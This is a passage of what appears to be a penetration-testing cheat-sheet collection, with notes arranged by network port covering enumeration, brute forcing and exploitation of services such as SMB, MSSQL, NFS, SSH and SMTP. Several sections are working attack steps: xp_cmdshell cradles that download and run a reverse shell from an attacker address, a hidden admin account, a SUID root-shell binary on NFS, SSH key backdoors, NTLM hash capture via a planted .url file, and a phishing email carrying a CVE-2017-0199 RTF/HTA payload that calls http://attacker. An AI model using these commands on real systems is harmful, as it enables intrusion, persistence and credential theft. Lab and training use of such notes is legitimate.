66 | +OK 2 1807
67 | 1 786
68 | 2 1021
69 |
70 | retr 1
71 |
72 | +OK Message follows
73 | From: jamesbrown@motown.com
74 | Dear Billy Dean,
75 |
76 | Here is your login for remote desktop ... try not to forget it this time!
77 | username: billydean
78 | password: PA$$W0RD!Z
79 | ```
80 |
--------------------------------------------------------------------------------
/pentesting-network/111-rpcbind.md:
--------------------------------------------------------------------------------
1 | # 111 (Rpcbind)
2 |
3 | ## Enumeration
4 |
5 | ### Checks
6 |
7 | * [ ] Check for passwords in files on mountable drives
8 |
9 | ### rpcbind
10 |
11 | ```bash
12 | rpcbind -p 192.168.1.101
13 | ```
14 |
15 | ### rpcinfo
16 |
17 | ```bash
18 | rpcinfo irked.htb
19 | nmap -sSUC -p111 192.168.10.1
20 | ```
21 |
22 | ```bash
23 | #check general rpc info
24 | rpcinfo
25 |
26 | #Check what shares you can mount
27 | showmount -e
28 |
29 | #mounting the share
30 | #make the directory
31 | mkdir /mnt/share
32 | #mount the share
33 | mount -t nfs :/share /mnt/share -nolock
34 | ```
35 |
36 | ### nmap
37 |
38 | ```bash
39 | nmap -v -p 111 --script=nfs*
40 |
41 | rpcclient -U "" $target
42 | rpcclient $> enumdomusers
43 | rpcclient $> queryuser 0xrid_ID
44 | ```
45 |
--------------------------------------------------------------------------------
/pentesting-network/11211-memcached.md:
--------------------------------------------------------------------------------
1 | # 11211 (Memcached)
2 |
3 |
--------------------------------------------------------------------------------
/pentesting-network/135-rpc.md:
--------------------------------------------------------------------------------
1 | # 135 (RPC)
2 |
3 | ## Enumeration
4 |
5 | ####
6 |
--------------------------------------------------------------------------------
/pentesting-network/137-138-139-netbios.md:
--------------------------------------------------------------------------------
1 | # 137,138,139 (NetBIOS)
2 |
3 | ## Enumerations
4 |
5 | ### Commands & Tools
6 |
7 | #### nbtstat
8 |
9 | ```bash
10 | nbtstat -n
11 | nbtstat -A
12 | ```
13 |
14 | #### nbtscan
15 |
16 | ```bash
17 | nbtscan -v
18 | ```
19 |
20 | #### net
21 |
22 | ```bash
23 | net view # List domains, computers, and resources shared
24 | net use K: \\\C # Connect to a computer from a shared resource
25 | ```
26 |
27 | #### nmap
28 |
29 | ```bash
30 | sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n
31 | ```
32 |
--------------------------------------------------------------------------------
/pentesting-network/139-445-smb.md:
--------------------------------------------------------------------------------
1 | # 139,445 (SMB)
2 |
3 | ## Enumeration
4 |
5 | ### smbmap
6 |
7 | ```bash
8 | smbmap -H
9 | smbmap -H -u anonymous
10 | smbmap -H -u '' -p ''
11 | smbmap -H -u 'guest' -p ''
12 | smbmap -R -H # List out directories and their contents
13 | # Look for things like Groups.xml for AD
14 | smbmap -R -H -A Groups.xml -q # Attempt to download file
15 | # Locate cpasword= in Groups.xml and decrypt it
16 | gpp-decrypt
17 | ```
18 |
19 | ### smbclient
20 |
21 | ```bash
22 | smbclient -L // # List out available shares
23 | smbclient -L /// -U
24 | smbclient /// # Connect to an available share
25 |
26 | # Forcing Protol NT1
27 | smbclient -L /// --option='client min protocol=NT1'
28 | smbclient /// --option='client min protocol=NT1'
29 | ```
30 |
31 | #### Commands
32 |
33 | ```bash
34 | dir /a
35 | smb: \> mask "*"
36 | smb: \> recurse ON
37 | smb: \> prompt OFF
38 | smb: \> mget *
39 | ```
40 |
41 | ### crackmapexec
42 |
43 | ```bash
44 | crackmapexec smb
45 | crackmapexec smb 'guest' -p ''
46 | crackmapexec smb --shares
47 | crackmapexec smb --shares -u '' -p ''
48 | crackmapexec smb --shares -u -p
49 | crackmapexec smb --pass-pol
50 | crackmapexec smb --pass-pol -u '' -p '' # Null authentication attempt
51 | crackmapexec smb --users
52 | crackmapexec smb -u 'a' -p '' --rid-brute # Enum users by bruteforcing RID
53 | crackmapexec smb -u -H # Look for Pwn3d!
54 | crackmapexec smb -u -p # SMB authentication/bruteforce
55 |
56 | crackmapexec winrm --shares -u -p # Tell us if we can get on the machine
57 | # Look for Pwn3d!
58 | evil-winrm -i -u -p
59 | ```
60 |
61 | ### rpcclient
62 |
63 | ```bash
64 | rpcclient
65 | rpcclient -U '' # Check for anonymous login
66 | rpcclient -U '' -N # Saying with no password
67 | > # Check for options
68 | > enumdomusers # List out usernames
69 | > queryuser
70 | > queryuser
71 | > queryusergroups
72 | > querydispinfo
73 | > enumdomgroups
74 | > querygroup
75 | > querygroupmem
76 | > lookupnames
77 | > lookupsids
78 | ```
79 |
80 | After running `enumdomusers` and getting a list of users, pull out just the usernames by:
81 |
82 | ```bash
83 | cat users.txt | awk -F\[ '{print $2}' | awk -F\] '{print $1}' > newfile.txt
84 | ```
85 |
86 | #### SIDs
87 |
88 | Brute force enumerating SIDs to identify other users
89 |
90 | ```bash
91 | # Bash one liner
92 | for i in {1000..1050}; do rpcclient -U '%' -c "lookupsids S-1-5-21-4254423774-1266059056-3197185112-$i" | grep -v unknown; done
93 | # Python script (Impacket)
94 | lookupsid.py :@
95 | ```
96 |
97 | ### nbtscan
98 |
99 | ```bash
100 | nbtscan
101 | ```
102 |
103 | ### enum4linux
104 |
105 | ```bash
106 | enum4linux
107 | ```
108 |
109 | ### samrdump
110 |
111 | ```bash
112 | python3 /usr/share/doc/python3-impacket/examples/samrdump.py
113 | ```
114 |
115 | ### nmap
116 |
117 | ```bash
118 | # /usr/share/nmap/scripts/smb*
119 | nmap -p445 --script=smb-system-info
120 | nmap -p445 --script=smb-enum*
121 | nmap -p445 --script=smb-vuln*
122 | ```
123 |
124 | ### Metasploit
125 |
126 | ```bash
127 | search smb
128 | ```
129 |
130 | ## Brute Force
131 |
132 | ```bash
133 | nmap --script smb-brute -p 445
134 | ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusernam
135 | hydra -l Administrator -P /usr/share/seclists/Passwords/darkweb2017-top100.txt smb -V -f
136 | hydra -L usernames.txt -P passwords.txt smb -V -f
137 | ```
138 |
139 | ## Exploitation Check
140 |
141 | * [ ] Enumerate and download any interesting files ideally looking for credentials or other information relating to other services.
142 | * [ ] Can you login via SMB and put files on the system?
143 | * [ ] If so, is there a web interface where you can access the files?
144 | * [ ] If so, then you may be able to upload a reverse shell.
145 | * [ ] If so, can you use Metasploit to create symbolic link to the root filesystem?
146 |
147 | ## Exploitation
148 |
149 | ### Metasploit
150 |
151 | ```bash
152 | use auxiliary/admin/smb/samba_symlink_traversal
153 | set rhost
154 | set smbshare
155 | exploit
156 | ```
157 |
158 | Then back in `smbclient` we can `cd` into the `rootfs` that was created.
159 |
160 | ### SMB Password Change
161 |
162 | ```bash
163 | # Attempt to change a users password through SMB
164 | smbpasswd -U -r
165 | # Then can use crackmapexec to test login
166 | cme smb -u -p
167 | cme winrm -u -p
168 | ```
169 |
170 | ### SMB Drive Mapping
171 |
172 | ```bash
173 | sudo mount -t cifs -o 'user=,password=' //IP/Share /mnt/dir
174 | # Go into /mnt/dir to look for interesting files
175 | ```
176 |
177 | ### URI File Attack
178 |
179 | If the target is a Windows host and the SMB Share can be written to, we can use the SMB share access to upload a file that the target system will interpret as a Windows shortcut. In this file, we can specify an icon that points to our Kali host. This should allows us to capture the user's NTLM hash when it is accessed.
180 |
181 | Create a file named @hax.url with the following contents
182 |
183 | {% code title="@hax.url" %}
184 | ```bash
185 | [InternetShortcut]
186 | URL=anything
187 | WorkingDirectory=anything
188 | IconFile=\\\%USERNAME%.icon
189 | IconIndex=1
190 | ```
191 | {% endcode %}
192 |
193 | Start responder to list for the request:
194 |
195 | ```bash
196 | sudo responder -I tap0 -v
197 | ```
198 |
199 | Upload the file to the SMB share:
200 |
201 | ```bash
202 | kali@kali:~/Documents/offsec/oscp/proving_grounds/Vault$ smbclient //192.168.71.172/DocumentsShare
203 | Password for [WORKGROUP\kali]:
204 | Try "help" to get a list of possible commands.
205 | smb: \> put @hax.url
206 | putting file @hax.url as \@hax.url (0.4 kb/s) (average 0.4 kb/s)
207 | ```
208 |
209 | Responder Output:
210 |
211 | {% code overflow="wrap" %}
212 | ```bash
213 | [SMB] NTLMv2-SSP Client : 192.168.71.172
214 | [SMB] NTLMv2-SSP Username : VAULT\anirudh
215 | [SMB] NTLMv2-SSP Hash : anirudh::VAULT:a07bde1e074e8ce7:7E005501CA1DA9CF07F1685B766EDFF3:010100000000000000190681B8C7D801B6D4A008DAA2A3E00000000002000800450038004800570001001E00570049004E002D00480053003200380043005100560038004C005900440004003400570049004E002D00480053003200380043005100560038004C00590044002E0045003800480057002E004C004F00430041004C000300140045003800480057002E004C004F00430041004C000500140045003800480057002E004C004F00430041004C000700080000190681B8C7D801060004000200000008003000300000000000000001000000002000001B898DAC5A5D0D98431AE6A160F57301D980DD48CBD559755DCD4AF5BE07242D0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00340039002E00370031000000000000000000
216 | ```
217 | {% endcode %}
218 |
219 |
220 |
221 |
--------------------------------------------------------------------------------
/pentesting-network/1433-mssql.md:
--------------------------------------------------------------------------------
1 | # 1433 (MSSQL)
2 |
3 | ## Enumeration
4 |
5 | ### Checks
6 |
7 | * [ ] Try default credentials "sa:password"
8 | * [ ] Brute force creds
9 | * [ ] Check database content for new passwords
10 | * [ ] Check version for exploits
11 | * [ ] RCE
12 | * [ ] through xp\_cmdshell functionality
13 | * [ ] through injecting payload in output file, placing it in webroot and triggering it through webapp
14 |
15 | ### Connection
16 |
17 | #### sqsh
18 |
19 | ```bash
20 | sqsh -S -U sa
21 | sqsh -S -U sa -P password
22 | sqsh -S :27900 -U sa -P password
23 | ```
24 |
25 | #### mssqlclient.py
26 |
27 | ```bash
28 | mssqlclient.py -windows-auth /:@
29 | mssqlclient.py :@
30 |
31 | # Once logged in you can run queries:
32 | SQL> select @@ version;
33 |
34 | # Steal NTLM hash
35 | sudo smbserver.py -smb2support liodeus .
36 | SQL> exec master..xp_dirtree '\\\liodeus\' # Steal the NTLM hash, crack it with john or hashcat
37 |
38 | # Try to enable code execution
39 | SQL> enable_xp_cmdshell
40 |
41 | # Execute code
42 | SQL> xp_cmdshell whoami /all
43 | SQL> xp_cmdshell certutil.exe -urlcache -split -f http:///nc.exe
44 | ```
45 |
46 | ### nmap
47 |
48 | ```bash
49 | nmap -p 1433 --script='banner,(ms-sql* or ssl*) and not (brute or broadcast or dos or external or fuzzer)' -o 1433_nmap_mssql
50 | # Credential Brute Force
51 | nmap -p 1433 --script ms-sql-brute --script-args passdb=/usr/share/seclists/Passwords/darkweb2017-top1000.txt
52 |
53 | nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433
54 | ```
55 |
56 | ### xp\_cmdshell
57 |
58 | #### Enable
59 |
60 | ```bash
61 | exec sp_configure 'show advanced options', 1
62 | go
63 | reconfigure
64 | go
65 | exec sp_configure 'xp_cmdshell', 1
66 | go
67 | reconfigure
68 | go
69 | ```
70 |
71 | #### Commands
72 |
73 | ```bash
74 | # Manaul enumeration
75 | xp_cmdshell 'whoami /all';
76 | xp_cmdshell 'systeminfo';
77 | xp_cmdshell 'net user'; # Potential for brute force or password re-use
78 | xp_cmdshell 'reg query HKLM /f pass /t REG_SZ /s'; # Search registry for pass
79 | xp_cmdshell 'findstr /si password *.txt *.ini *.config *xml' # Check for plaintext passwords
80 | # Run other PrivEsc commands for enumeration
81 |
82 | # Download files for reverse shell
83 | xp_cmdshell "powershell -c iex(new-object net.webclient).downloadstring('http://192.168.119.165:9090/Invoke-PowerShellTcp.ps1')";--
84 | xp_cmdshell "certutil -urlcache -f 'http://192.168.119.165:9090/nc.exe' nc.exe"
85 |
86 | # Create user and pass then add them to Admin group (Need enough permissions)
87 | xp_cmdshell 'net user byte bytepass /add'
88 | go
89 | xp_cmdshell 'net localgroup Administrators byte /add'
90 | go
91 | xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
92 | go
93 | ```
94 |
95 | ### Metasploit
96 |
97 | ```bash
98 | use auxiliary/scanner/mssql/mssql_ping
99 | ```
100 |
101 | ## Brute Force
102 |
103 | ### Metasploit
104 |
105 | ```bash
106 | scanner/mssql/mssql_login
107 | ```
108 |
109 | ### Hydra
110 |
111 | ```bash
112 | hydra -l sa -P password.txt -V mssql
113 | hydra -L -P mssql -vV -I -u
114 | ```
115 |
116 | ### Cheat sheet
117 |
118 | ```bash
119 | https://www.asafety.fr/mssql-injection-cheat-sheet/
120 | ```
121 |
--------------------------------------------------------------------------------
/pentesting-network/161-snmp.md:
--------------------------------------------------------------------------------
1 | # 161 (SNMP)
2 |
3 | ## Enumeration
4 |
5 | ### Checks
6 |
7 | * [ ] Try the default community strings 'public' and 'private'
8 | * [ ] Enumerate version of OS, users, and processes
9 |
10 | ### Community Strings
11 |
12 | | | |
13 | | ---------------------- | ---------------- |
14 | | 1.3.6.1.2.1.25.1.6.0 | System Processes |
15 | | 1.3.6.1.2.1.25.4.2.1.2 | Running Programs |
16 | | 1.3.6.1.2.1.25.4.2.1.4 | Process Path |
17 | | 1.3.6.1.2.1.25.2.3.1.4 | Storage Units |
18 | | 1.3.6.1.2.1.25.6.3.1.2 | Software Name |
19 | | 1.3.6.1.4.1.77.1.2.25 | User Accounts |
20 | | 1.3.6.1.2.1.6.13.1.3 | TCP Local Ports |
21 |
22 | ### Commands
23 |
24 | #### nmap
25 |
26 | ```bash
27 | nmap -sU -p161 --script "snmp-*"
28 | ```
29 |
30 | ### Brute Force Community Strings
31 |
32 | ```bash
33 | # try 100+ community strings
34 | onesixtyone -c /home/liodeus/wordlist/SecLists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt
35 | onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt
36 | # only try "public" and "private"
37 | onesixtyone -i targets.list
38 | ```
39 |
40 | #### snmpwalk
41 |
42 | ```bash
43 | snmpwalk -c public -v1 192.168.1.101 #community string and which version
44 | # enumerate windows users
45 | snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25
46 | # enumerates running processes
47 | snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2
48 | ```
49 |
50 | ```bash
51 | snmpwalk -v 2c -c public
52 | snmpwalk -v 2c -c public hrSWInstalledName
53 | snmpwalk -v 2c -c public hrMemorySize
54 | snmpwalk -v 2c -c public sysContact # Get the sysContatact variable i.e. nikos
55 | snmpset -v 2c -c public sysContact.0 s els # Change sysContact variable to els
56 |
57 | ```
58 |
59 | #### snmpbulkwalk
60 |
61 | ```bash
62 | snmpbulkwalk -c -v
63 | ```
64 |
65 | #### snmp-check
66 |
67 | ```bash
68 | snmp-check
69 | snmp-check -t -c public
70 | ```
71 |
72 | ### Enumerate Info with Known Community String
73 |
74 | ```bash
75 | snmpwalk -c public -v1 192.168.1.101 #community string and which version
76 | # enumerate windows users
77 | snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25
78 | # enumerates running processes
79 | snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2
80 | ```
81 |
82 | ### Modifying SNMP Values
83 |
84 | ```bash
85 | http://net-snmp.sourceforge.net/tutorial/tutorial-5/commands/snmpset.html
86 | ```
87 |
--------------------------------------------------------------------------------
/pentesting-network/2049-nfs.md:
--------------------------------------------------------------------------------
1 | # 2049 (NFS)
2 |
3 | ## Enumeration
4 |
5 | ### nmap Scripts
6 |
7 | ```bash
8 | nmap -p 2049 --script=nfs*
9 | nfs-ls # List NFS exports and check permissions
10 | nfs-showmount # Like showmount -e
11 | nfs-statfs # Disk statistics and info from NFS share
12 | ```
13 |
14 | ### Metasploit
15 |
16 | Scan NFS mounts and list permissions.
17 |
18 | ```bash
19 | scanner/nfs/nfsmount
20 | ```
21 |
22 | ### Check Shares
23 |
24 | Check Available Folders
25 |
26 | ```bash
27 | showmount -e
28 | cat /etc/exports # List exported shares
29 | ```
30 |
31 | ## Mounting
32 |
33 | ### Create Mount
34 |
35 | ```bash
36 | # Syntax
37 | mount -t nfs [-o vers=2] : -o nolock
38 | # Example
39 | mkdir /mnt/myroot
40 | mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/myroot -o nolock
41 | # Unmount the mount
42 | umount /mnt/myroot/
43 | ```
44 |
45 | #### Using SSH
46 |
47 | ```bash
48 | ssh-keygen # Generate Key Pair
49 | mkdir /mnt/myroot
50 | mount -t nfs :/ /mnt/myroot
51 | cat .ssh/id_rsa.pub >> /mnt/myroot/root/.ssh/authorized_keys
52 | umount /mnt/myroot/
53 | ```
54 |
55 | ### Example Exploit
56 |
57 | #### From Attacker as root user
58 |
59 | ```bash
60 | mkdir
61 | mount -v -t nfs :
62 | cd
63 | echo 'int main(void){setreuid(0,0); system("/bin/bash"); return 0;}' > pwn.c
64 | gcc pwn.c -o pwn
65 | chmod +s pwn
66 | ```
67 |
68 | #### From Target as Victim
69 |
70 | ```bash
71 | cd
72 | ./pwn # Root shell
73 | ```
74 |
--------------------------------------------------------------------------------
/pentesting-network/21-ftp.md:
--------------------------------------------------------------------------------
1 | # 21 (FTP)
2 |
3 | ## Enumeration
4 |
5 | ### Banner Grabbing
6 |
7 | ```bash
8 | nc 21 # Grab headers
9 | telnet -vn 21
10 | openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
11 | ```
12 |
13 | ### Connections
14 |
15 | #### Anonymous Login
16 |
17 | * `anonymous:anonymous`
18 | * `anonymous:`
19 | * `guest:`
20 | * `ftp:ftp`
21 | * `admin:admin`
22 |
23 | ```bash
24 | ftp
25 | ftp -p # Passive mode login
26 | >ls -a # List all files (even hidden) (yes, they could be hidden)
27 | >dir /a
28 | >passive # Set the mode to passive
29 | >binary # Set transmission to binary instead of ascii
30 | >ascii # Set transmission to ascii instead of binary
31 | >bye # exit
32 | ```
33 |
34 | #### Downloading
35 |
36 | ```bash
37 | PASSIVE
38 | BINARY
39 | get
40 | mget * # Download all files
41 | wget -m ftp://anonymous:anonymous@10.10.10.98 # Donwload all files
42 | wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 # Download all files
43 | ```
44 |
45 | #### Uploading
46 |
47 | ```bash
48 | PASSIVE
49 | BINARY
50 | put
51 | ```
52 |
53 | ### nmap Scripts
54 |
55 | ```bash
56 | nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21
57 | nmap --script ftp-* -p 21
58 | ```
59 |
60 | ### Checks
61 |
62 | * [ ] Check for anonymous access
63 | * [ ] Check if you can upload a file to trigger a webshell through webapp
64 | * [ ] Check if you can download backup files to extract included passwords
65 | * [ ] Check the version of FTP for exploits
66 |
67 | ## Brute Forcing
68 |
69 | ```bash
70 | hydra -V -f -L -P ftp:// -u -vV
71 | hydra -l root -P passwords.txt [-t 32] ftp
72 | ```
73 |
--------------------------------------------------------------------------------
/pentesting-network/22-ssh.md:
--------------------------------------------------------------------------------
1 | # 22 (SSH)
2 |
3 | ## Enumeration
4 |
5 | ### Checks
6 |
7 | * [ ] Try easy username-password combinations
8 | * [ ] Check for username enumeration vulnerabilities
9 | * [ ] Check version for vulnerabilities
10 | * [ ] Attempt brute forcing
11 | * [ ] Check for Port Knocking
12 |
13 | ### Banner Grabbing
14 |
15 | ```bash
16 | nc 22
17 | nc -vn 22
18 | ```
19 |
20 | ### Connections
21 |
22 | #### SSH
23 |
24 | ```bash
25 | ssh @
26 | ssh @ -i id_rsa # Login via private key. chmod 600
27 | ```
28 |
29 | #### SCP
30 |
31 | ```bash
32 | scp @:/path/to/copy
33 | ```
34 |
35 | #### SFTP
36 |
37 | ```bash
38 | sftp
39 | ```
40 |
41 | ### nmap Scripts
42 |
43 | ```bash
44 | nmap -p 22000 -sV -Pn -T4 --script=ssh*
45 | ```
46 |
47 | ### Restricted Shell Breakout
48 |
49 | ```bash
50 | ssh joe@funbox -i joe_id_rsa -t "bash --noprofile"
51 | ssh seppuku@192.168.53.90 -t "bash --noprofile"
52 | ```
53 |
54 | ### Account Login Error
55 |
56 | ```bash
57 | # When getting a specific error where only SFTP works, try...
58 | ssh -v @ id
59 | ssh -v @ /bin/bash
60 | ```
61 |
62 | ### Port knocking
63 |
64 | ```bash
65 | # If nmap comes back showing port 22 as filtered...
66 | # We need to find the /etc/knockd.conf (thorough LFI or FTP or something else)
67 | # Inside there is a sequence
68 | knock IP SEQUENCE1 SEQUENCE2 SEQUENCE3
69 | # Check nmap again
70 | ```
71 |
72 | ### Key Generation
73 |
74 | ```bash
75 | # Attack machine
76 | ssh-keygen
77 | chmod 600
78 | cat .pub
79 | # Target
80 | echp .pub >> /.ssh/authorized_keys
81 | ```
82 |
83 | ## Backdoor
84 |
85 | ```bash
86 | # Attacker
87 | ssh-keygen -f
88 | chmod 600
89 | cat .pub -> copy
90 |
91 | # Victim
92 | echo .pub >> /.ssh/authorized_keys
93 |
94 | # Connect
95 | ssh -i @
96 | ```
97 |
98 | ## Brute Force
99 |
100 | ```bash
101 | hydra -v -L user.txt -P /usr/share/wordlists/rockyou.txt -t 16 ssh
102 | hydra -l -P passwords.txt -T 20 ssh
103 | hydra -V -f -L -P ssh:// -u -vV
104 | ```
105 |
--------------------------------------------------------------------------------
/pentesting-network/23-telnet.md:
--------------------------------------------------------------------------------
1 | # 23 (Telnet)
2 |
3 | ## Enumeration
4 |
5 | ### Banner Grabbing
6 |
7 | ```bash
8 | nc -vn 23
9 | ```
10 |
11 | ### nmap Scripts
12 |
13 | ```bash
14 | nmap -n -sV -Pn --script "*telnet* and safe" -p 23
15 | ```
16 |
17 | ## Brute Force
18 |
19 | ```bash
20 | hydra -l root -P /root/SecLists/Passwords/10_million_password_list_top_100.txt telnet
21 | hydra -l root -P passwords.txt [-t 32] telnet
22 | ```
23 |
--------------------------------------------------------------------------------
/pentesting-network/25-smtp.md:
--------------------------------------------------------------------------------
1 | # 25 (SMTP)
2 |
3 | ## Enumeration
4 |
5 | ### Checks
6 |
7 | * [ ] Check for user enumeration
8 | * [ ] Check version for exploits
9 |
10 | ### Scripts
11 |
12 | #### nmap
13 |
14 | ```bash
15 | nmap -p25 --script smtp-commands
16 | nmap --script smtp-enum-users
17 | nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25
18 | ```
19 |
20 | ### Manual
21 |
22 | ```bash
23 | nc -nvv 25
24 | VRFY root
25 | ```
26 |
27 | ```bash
28 | telnet 25
29 | HELO anydomain.com
30 | MAIL FROM: BruceWayne@WayneCorp.com # Select email address to send from
31 | 250 OK
32 | RCPT TO: # Specify email address to send to
33 | 250 OK # Verifies the user exists
34 | RCPT TO:
35 | 550 Unknown User # Verifies user does not exist
36 | RCPT TO:
37 | 250 OK # Cannot actually verify as its a different domain
38 |
39 | ```
40 |
41 | Look into sending a malicious document to have the recipient of the email open it and hopefully gain a reverse shell or have the malicious code executed.
42 |
43 | #### Example
44 |
45 | CVE-2017-0199 RTF file exploit using the Reel machine on Hack The Box.
46 |
47 |
# Generate malicious RTF file
48 | python cve-2017-0199_toolkit.py -M gen -w test.rtf -u http://attacker/test.hta -t RTF -x 0
49 | # Generate malicous HTA file using examples from Out-HTA.ps1
50 | cd /opt/nishang/Client
51 | pwsh # Start up PowerShell on Kali
52 | .\Out-HTA.ps1
53 | Out-HTA -PayloadURL http://attacker/test.ps1 # Create new ps1 script file
54 |
55 | mv winDef_webInstall.hta /path/to/www
56 | cp ../CVE-2017-0199/test.rtf /peth/to/www
57 | cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1
58 | mv /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 test.ps1 # Move Invoke-PowerShellTcp -Reverse to the bottom of the script
59 | python3 -m http.server 80
60 | nc -lvnp 9001
61 |
62 | sendemail -f test@megabank.com -t nico@megabank.com -u RTF -m "Please conver this" -a test.rtf -s 10.10.10.77
63 | # Wait for reverse shell
64 |
65 |
66 | ### Commands
67 |
68 | ```bash
69 | HELO -
70 | EHLO - Extended SMTP.
71 | STARTTLS - SMTP communicted over unencrypted protocol. By starting TLS-session we encrypt the traffic.
72 | RCPT - Address of the recipient.
73 | DATA - Starts the transfer of the message contents.
74 | RSET - Used to abort the current email transaction.
75 | MAIL - Specifies the email address of the sender.
76 | QUIT - Closes the connection.
77 | HELP - Asks for the help screen.
78 | AUTH - Used to authenticate the client to the server.
79 | VRFY - Asks the server to verify is the email user's mailbox exists.
80 | ```
81 |
82 | ### **smtp-user-enum**
83 |
84 | ```bash
85 | smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t
86 | ```
87 |
88 | ```bash
89 | Mode ..................... VRFY
90 | Worker Processes ......... 5
91 | Usernames file ........... /root/sectools/SecLists/Usernames/Names/names.txt
92 | Target count ............. 1
93 | Username count ........... 8607
94 | Target TCP port .......... 25
95 | Query timeout ............ 5 secs
96 | Target domain ............
97 |
98 | ######## Scan started at Sun Jun 19 11:04:59 2016 #########
99 | 192.168.1.103: Bin exists
100 | 192.168.1.103: Irc exists
101 | 192.168.1.103: Mail exists
102 | 192.168.1.103: Man exists
103 | 192.168.1.103: Sys exists
104 | ######## Scan completed at Sun Jun 19 11:06:51 2016 #########
105 | 5 results.
106 |
107 | 8607 queries in 112 seconds (76.8 queries / sec)
108 | ```
109 |
110 | ### Metasploit
111 |
112 | ```bash
113 | msf > use auxiliary/scanner/smtp/smtp_enum
114 | msf auxiliary(smtp_enum) > show options
115 |
116 | Module options (auxiliary/scanner/smtp/smtp_enum):
117 |
118 | Name Current Setting Required Description
119 | ---- --------------- -------- -----------
120 | RHOSTS yes The target address range or CIDR identifier
121 | RPORT 25 yes The target port
122 | THREADS 1 yes The number of concurrent threads
123 | UNIXONLY true yes Skip Microsoft bannered servers when testing unix users
124 | USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt yes The file that contains a list of probable users accounts.
125 | ```
126 |
--------------------------------------------------------------------------------
/pentesting-network/27017-27018-27019-mongodb.md:
--------------------------------------------------------------------------------
1 | # 27017, 27018, 27019 (MongoDB)
2 |
3 | ## Login
4 |
5 | By default mongo does not require password.\
6 | **Admin** is a common mongo database.
7 |
8 | ```bash
9 | mongo
10 | mongo :
11 | mongo :/
12 | mongo -u -p ''
13 | ```
14 |
15 | The nmap script: _**mongodb-brute**_ will check if creds are needed.
16 |
17 | ```bash
18 | nmap -n -sV --script mongodb-brute -p 27017
19 | ```
20 |
21 | **Some MongoDB commands:**
22 |
23 |
help
24 | show dbs
25 | use <db>
26 | show collections
27 | db.<collection>.find() // Dump the collection
28 | db.<collection>.count() // Number of records of the collection
29 | db.current.find({"username":"admin"}) // Find in current db the username admin
30 |
31 |
32 | ```mongodb
33 | use // Create and switch to new DB
34 | db.users.insertOne({name: 'jeremy'}) // Insert some data into the DB
35 | db.users.insertOne({name: 'jessamy', country: 'scotland'})
36 | db.users.find()
37 | db.users.find().limit(1) // View the first record
38 | db.users.find({country: 'scotland'}) // Find records where the country as scotland
39 | db.users.find({country: {"$ne": 'scotland'}}) // Find records where country is not scotland
40 |
41 | ```
42 |
--------------------------------------------------------------------------------
/pentesting-network/3128-squid.md:
--------------------------------------------------------------------------------
1 | # 3128 (Squid)
2 |
3 | ## Enumeration
4 |
5 | #### curl
6 |
7 | ```bash
8 | curl --proxy http://192.168.76.189:3128 http://192.168.76.189
9 | # After finding other open ports using spose:
10 | curl --proxy http://192.168.76.189:3128 http://192.168.76.189:3306
11 | curl --proxy http://192.168.76.189:3128 http://192.168.76.189:8080
12 |
13 | ```
14 |
15 | #### spose
16 |
17 | [https://github.com/aancw/spose](https://github.com/aancw/spose)
18 |
19 | ```bash
20 | python3 spose.py --proxy http://192.168.76.189:3128 --target 192.168.76.189
21 | Using proxy address http://192.168.76.189:3128
22 | 192.168.76.189 3306 seems OPEN
23 | 192.168.76.189 8080 seems OPEN
24 | ```
25 |
26 | #### nmap
27 |
28 | You can use `nmap` to try to do additional scanning with `proxychains` by updating the proxychains.conf file using the following at the bottom of the file:
29 |
30 | `socks5 192.168.76.189 3128` or `http 192.168.76.189 3129`
31 |
32 | ```bash
33 | proxychains sudo nmap -sT -n -p3306,8080 192.168.76.189 -Pn
34 | ```
35 |
36 | #### Webpage
37 |
38 | If a webpage is found, you can update the proxy settings in your browser or FoxyProxy to be configured with the proxy URL and port and then navigate to the page: [http://192.168.76.189:3128](http://192.168.76.189:3128)
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/pentesting-network/3306-mysql.md:
--------------------------------------------------------------------------------
1 | # 3306 (MySQL)
2 |
3 | ## Enumeration
4 |
5 | ### Checks
6 |
7 | * [ ] Try default credentials "root":""
8 | * [ ] Brute force credentials
9 | * [ ] Check database content for new passwords
10 | * [ ] Check version for exploits
11 |
12 | ### Connection
13 |
14 | #### Local
15 |
16 | ```bash
17 |
18 | mysql -u root # Connect to root without password
19 | mysql -u root -p # A password will be asked (check someone)
20 | ```
21 |
22 | #### Remote
23 |
24 | ```bash
25 | mysql --host= -u root -p
26 | mysql -h -u root
27 | mysql -h -u root@localhost
28 | ```
29 |
30 | ### nmap
31 |
32 | ```bash
33 | kali@kali:~/oscp/labs/10.11.1.8$ nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
